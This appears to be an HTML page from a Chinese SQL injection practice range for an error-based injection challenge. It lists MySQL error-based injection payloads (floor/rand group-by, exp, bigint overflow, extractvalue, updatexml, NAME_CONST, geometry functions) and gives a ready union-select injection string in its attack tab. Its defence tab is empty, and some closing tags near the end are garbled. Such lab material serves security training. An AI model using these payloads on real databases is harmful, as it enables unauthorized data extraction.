<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title></title>
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport"
          content="width=device-width,user-scalable=yes, minimum-scale=0.4, initial-scale=0.8,target-densitydpi=low-dpi"/>
    <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"/>
    <link rel="stylesheet" href="../../../statics/xadmin/css/font.css">
    <link rel="stylesheet" href="../../../statics/xadmin/css/xadmin.css">
    <link rel="stylesheet" href="../../../statics/ceber/css/mardown-css-jwsky.css">
    <link rel="stylesheet" href="../../../statics/ceber/css/highlight/arduino-light.css">
    <script type="text/javascript" src="../../../statics/xadmin/js/jquery.min.js"></script>
    <script src="../../../statics/xadmin/lib/layui/layui.js" charset="utf-8"></script>
    <script src="../../../statics/ceber/js/showdown.min.js" charset="utf-8"></script>
    <script src="../../../statics/ceber/js/ceber.js" charset="utf-8"></script>
    <script src="../../../statics/ceber/js/highlight.pack.js" charset="utf-8"></script>
    <style>
        .layui-tab-content {
            padding: 0px;
            padding-top: 10px;
        }

        input {
            margin-bottom: 10px;
        }
    </style>
</head>
<body>
<div class="x-body layui-anim layui-anim-up">
    <blockquote class="layui-elem-quote">报错注入</blockquote>
    <fieldset class="layui-elem-field">
        <legend>题目区</legend>
        <div class="layui-field-box">
            <div class="layui-row" style="vertical-align:bottom">
                <form class="layui-form" method="POST" name="form"
                      action="/ceber-range/sqli/sql5">
                    <input type="text" name="account" placeholder="请输入用户名" autocomplete="off" class="layui-input">
                    <button type="button" class="layui-btn layui-btn-mini" onclick="ceberSubmit(this);">查询</button>
                </form>
            </div>
            <div class="layui-row" id="rs-message">
            </div>
            <div class="layui-row" id="rs-body">
            </div>
            <div class="layui-row" id="rs-hit">
            </div>
            <div class="layui-row" id="rs-bak">
            </div>
        </div>
    </fieldset>
    <fieldset class="layui-elem-field">
        <legend>解题区</legend>
        <div class="layui-tab layui-field-box">
            <ul class="layui-tab-title">
                <li class="layui-this">描述</li>
                <li>提示</li>
                <li>源代码</li>
                <li>攻击方法</li>
                <li>防御</li>
            </ul>
            <div class="layui-tab-content">
                <div class="layui-tab-item layui-show" id="mubiao">描述</div>
                <div class="layui-tab-item" id="tishi">提示</div>
                <div class="layui-tab-item" id="yuandaima">源代码</div>
                <div class="layui-tab-item" id="gongjifangfa">攻击方法</div>
                <div class="layui-tab-item" id="fangyu">防御</div>
            </div>
        </div>
    </fieldset>

    <code id="mubiao_source" style="display:none">
        <script type='text/html' style='display:block'>
            # MySQL下N种报错方式
            ## group by
            ```
            Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
            ```
            此处有三个点，一是需要 concat 计数，二是 floor，取得 0 or 1，进行数据的 重复，三是 group by 进行分组，但具体原理解释不是很通，大致原理为分组后数据计数时 重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0)，rand()需 要多试几次才行。
            以上语句可以简化成如下的形式。
            ```
            select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
            ```
            如果关键的表被禁用了，可以使用这种形式
            ```
            select count(*) from (select 1 union select null union
            select !1) group by concat(version(),floor(rand(0)*2))
            ```
            如果 rand 被禁用了可以使用用户变量来报错
            ```
            select min(@a:=1) from information_schema.tables group by concat(passwo rd,@a:=(@a+1)%2)
            ```
            ## exp
            ```
            select exp(~(select*from(select user())x));
            ```
            Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上
            可以参考 exp 报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html
            ## bigint 超出范围
            ```
            select !(select * from (select user())x) -~0
            ```
            bigint 超出范围;~0 是对 0 逐位取反，很大的版本在 5.5.5 及其以上
            可以参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry/articles/5509112.html
            ## extractvalue
            ```
            extractvalue(1,concat(0x7e,(select @@version),0x7e))
            ```
            mysql 对 xml 数据进 行查询和修改的 xpath 函数，xpath 语法错误
            ## updatexml
            ```
            updatexml(1,concat(0x7e,(select @@version),0x7e),1)
            ```
            mysql对xml数据进行 查询和修改的 xpath 函数，xpath 语法错误
            ## mysql 重复特性
            ```
            select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
            ```
            mysql 重复特性，此处重复了 version，所以报错。


            后续研究
            ```
            extractvalue(1, concat(0x5c,md5(3)));
            updatexml(1, concat(0x5d,md5(3)),1);
            GeometryCollection((select*from(select*from(select@@version)f)x))
            polygon((select*from(select name_const(version(),1))x))
            linestring()
            multipoint()
            multilinestring()
            multipolygon()
            ```
        </script>
        <
        /code>

        < code
        id = "tishi_source"
        style = "display:none" >
            < script
        type = 'text/html'
        style = 'display:block' >


        </script>
    </code>

    <code id="yuandaima_source" style="display:none">
        <script type='text/html' style='display:block'>


        </script>
        <
        /code>

        < code
        id = "gongjifangfa_source"
        style = "display:none" >
            < script
        type = 'text/html'
        style = 'display:block' >
            ```
' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a; --
```
        注意最后有一个空格，否则`--`
        注释不能生效。

        </script>
    </code>

    <code id="fangyu_source" style="display:none">
        <script type='text/html' style='display:block'>


        </script>
        <
        /code>
        < blockquote
        class
        = "layui-elem-quote layui-quote-nm" > 持续集成 < /blockquote>
            < /div>
            < /body>

            < script >
            $(function () {
                //加载弹出层
                layui.use(['form', 'element'],
                    function () {
                        layer = layui.layer;
                        element = layui.element;
                    });
                var converter = new showdown.Converter();
                $("#mubiao").html(converter.makeHtml($("#mubiao_source").html().substr(48)));
                $("#tishi").html(converter.makeHtml($("#tishi_source").html().substr(48)));
                $("#yuandaima").html(converter.makeHtml($("#yuandaima_source").html().substr(48)));
                $("#gongjifangfa").html(converter.makeHtml($("#gongjifangfa_source").html().substr(48)));
                $("#fangyu").html(converter.makeHtml($("#fangyu_source").html().substr(48)));
            });

        $(document).ready(function () {
            $('pre code').each(function (i, block) {
                hljs.highlightBlock(block);
            });
        });
        </script>
</html>